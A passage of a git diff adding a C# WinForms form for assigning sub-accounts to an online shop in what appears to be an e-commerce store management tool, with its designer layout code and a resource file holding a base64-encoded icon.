System.Windows.Forms.AnchorStyles.Right))); + this.btnOk.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOk.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnOk.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnOk.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnOk.ForeColor = System.Drawing.Color.White; + this.btnOk.Location = new System.Drawing.Point(717, 377); + this.btnOk.Margin = new System.Windows.Forms.Padding(2); + this.btnOk.Name = "btnOk"; + this.btnOk.Size = new System.Drawing.Size(66, 26); + this.btnOk.TabIndex = 373; + this.btnOk.Text = "确定"; + this.btnOk.UseVisualStyleBackColor = false; + this.btnOk.Click += new System.EventHandler(this.btnOk_Click); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.label2); + this.panel1.Controls.Add(this.splitContainer1); + this.panel1.Controls.Add(this.btnOk); + this.panel1.Controls.Add(this.label1); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(1, 33); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(798, 416); + this.panel1.TabIndex = 0; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(409, 18); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(41, 12); + this.label2.TabIndex = 374; + this.label2.Text = "label2"; + // + // SubAccountShopEditForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.ShowMinimizedBox = true; + this.Name = "SubAccountShopEditForm"; + this.Text = "SubAccountShopEditForm"; + this.TitleText = "SubAccountShopEditForm"; + this.Load += new System.EventHandler(this.SubAccountShopEditForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.tableLayoutPanel1.ResumeLayout(false); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; + private UserControls.ButtonEx btnAdd; + private UserControls.ButtonEx btnRemove; + private UserControls.ButtonEx btnOk; + private System.Windows.Forms.FlowLayoutPanel flpShopSubAccount; + private System.Windows.Forms.FlowLayoutPanel flpNotSubAccount; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Label label2; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/SubAccountShopEditForm.cs b/TEMUKJD/KJDForms/ShopForms/SubAccountShopEditForm.cs new file mode 100644 index 0000000..20d0a1c --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/SubAccountShopEditForm.cs @@ -0,0 +1,170 @@ +using AllBase; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class SubAccountShopEditForm : LRBaseForm + { + DouShopLoginInfo shop = null; + public List AllSubAccountList { get; set; } = new List(); + public List ShopSubAccountList { get; set; } = new List(); + public List NotShopSubAccountList { get; set; } = new List(); + public SubAccountShopEditForm(DouShopLoginInfo _shop) + { + InitializeComponent(); + shop = _shop; + } + + private void SubAccountShopEditForm_Load(object sender, EventArgs e) + { + this.TitleText = "店铺 " + shop?.ShopAccount + " 子账号编辑"; + label1.Text = "店铺 " + shop?.ShopAccount + " 子账号"; + label2.Text = "未分配的子账号"; + + GetUser(); + } + + private void GetUser() + { + flpNotSubAccount.Controls.Clear(); + flpShopSubAccount.Controls.Clear(); + AllSubAccountList.Clear(); + string url = BaseClass.BuildObjString("user&act=get"); + string data = UserLogin.GetSignaturex(); + string html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html)) + return; + if (html.Contains("\"data\"")) + { + var userObj = Newtonsoft.Json.Linq.JObject.Parse(html); + foreach (Newtonsoft.Json.Linq.JObject obj in userObj["data"]) + { + string oStr = JsonHelper.SerializeObject(obj); + DouShopSubAccountInfo user = new DouShopSubAccountInfo(); + user.id = BaseRegex.GetIntJson(ref oStr, "id"); + user.name = BaseRegex.GetStringJson(ref oStr, "name"); + user.mobile = BaseRegex.GetStringJson(ref oStr, "mobile"); + user.group_id = BaseRegex.GetStringJson(ref oStr, "group_id"); + user.shop_count = BaseRegex.GetIntJson(ref oStr, "shop_count"); + + AllSubAccountList.Add(user); + } + + if (shop != null) + { + ShopSubAccountList.AddRange(shop.ShopSubAccountList); + NotShopSubAccountList.AddRange(AllSubAccountList.Where(u => !ShopSubAccountList.Any(bu => bu.id == u.id))); + foreach (var item in ShopSubAccountList) + { + UcSubAccount s = new UcSubAccount(item, false); + s.AddSubAcountEvent += S_AddSubAcountEvent; + s.RemoveSubAcountEvent += S_RemoveSubAcountEvent; + flpShopSubAccount.Controls.Add(s); + } + foreach (var item in NotShopSubAccountList) + { + UcSubAccount s = new UcSubAccount(item); + s.AddSubAcountEvent += S_AddSubAcountEvent; + s.RemoveSubAcountEvent += S_RemoveSubAcountEvent; + flpNotSubAccount.Controls.Add(s); + } + } + } + } + + private void S_AddSubAcountEvent(object obj) + { + var s = obj as UcSubAccount; + if (s != null) + { + this.flpNotSubAccount.Controls.Remove(s); + this.flpShopSubAccount.Controls.Add(s); + } + } + + private void S_RemoveSubAcountEvent(object obj) + { + var s = obj as UcSubAccount; + if (s != null) + { + this.flpShopSubAccount.Controls.Remove(s); + this.flpNotSubAccount.Controls.Add(s); + } + } + + private void btnRemove_Click(object sender, EventArgs e) + { + var controls = this.flpShopSubAccount.Controls.Cast().ToList(); + foreach (var c in controls) + { + (c as UcSubAccount).DeleteAccount(); + } + } + + private void btnAdd_Click(object sender, EventArgs e) + { + var controls = this.flpNotSubAccount.Controls.Cast().ToList(); + foreach (var c in controls) + { + (c as UcSubAccount).AddAccount(); + } + } + + private void btnOk_Click(object sender, EventArgs e) + { + List AddUsers = new List(); + List DeleteUsers = new List(); + foreach (Control c in this.flpNotSubAccount.Controls) + { + var co = c as UcSubAccount; + if (co == null) + continue; + + if (ShopSubAccountList.Contains(co.subAccount)) + { + DeleteUsers.Add(co.subAccount); + shop.ShopSubAccountList.Remove(co.subAccount); + string url = BaseClass.BuildObjString("shop&act=delete_shop_user_sub_group"); + string data = UserLogin.GetSignaturex() + + "&shop_id=" + shop.ShopAccountId + + "&sub_user_id=" + co.subAccount.sub_user_id + + "&status=" + co.subAccount.status + + "&group_id=" + co.subAccount.group_id; + string html = GetHtml.PostUtf8(url, data); + } + } + foreach (Control c in this.flpShopSubAccount.Controls) + { + var co = c as UcSubAccount; + if (co == null) + continue; + + if (NotShopSubAccountList.Contains(co.subAccount)) + { + AddUsers.Add(co.subAccount); + shop.ShopSubAccountList.Add(co.subAccount); + string url = BaseClass.BuildObjString("shop&act=update_shop_user_sub_group"); + string data = UserLogin.GetSignaturex() + + "&shop_id=" + shop.ShopAccountId + + "&sub_user_id=" + co.subAccount.sub_user_id + + "&status=" + co.subAccount.status + + "&group_id=" + co.subAccount.group_id; + string html = GetHtml.PostUtf8(url, data); + } + } + OnSaveComplete(shop); + this.Close(); + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/SubAccountShopEditForm.resx b/TEMUKJD/KJDForms/ShopForms/SubAccountShopEditForm.resx new file mode 100644 index 0000000..03e4c89 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/SubAccountShopEditForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQVQAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 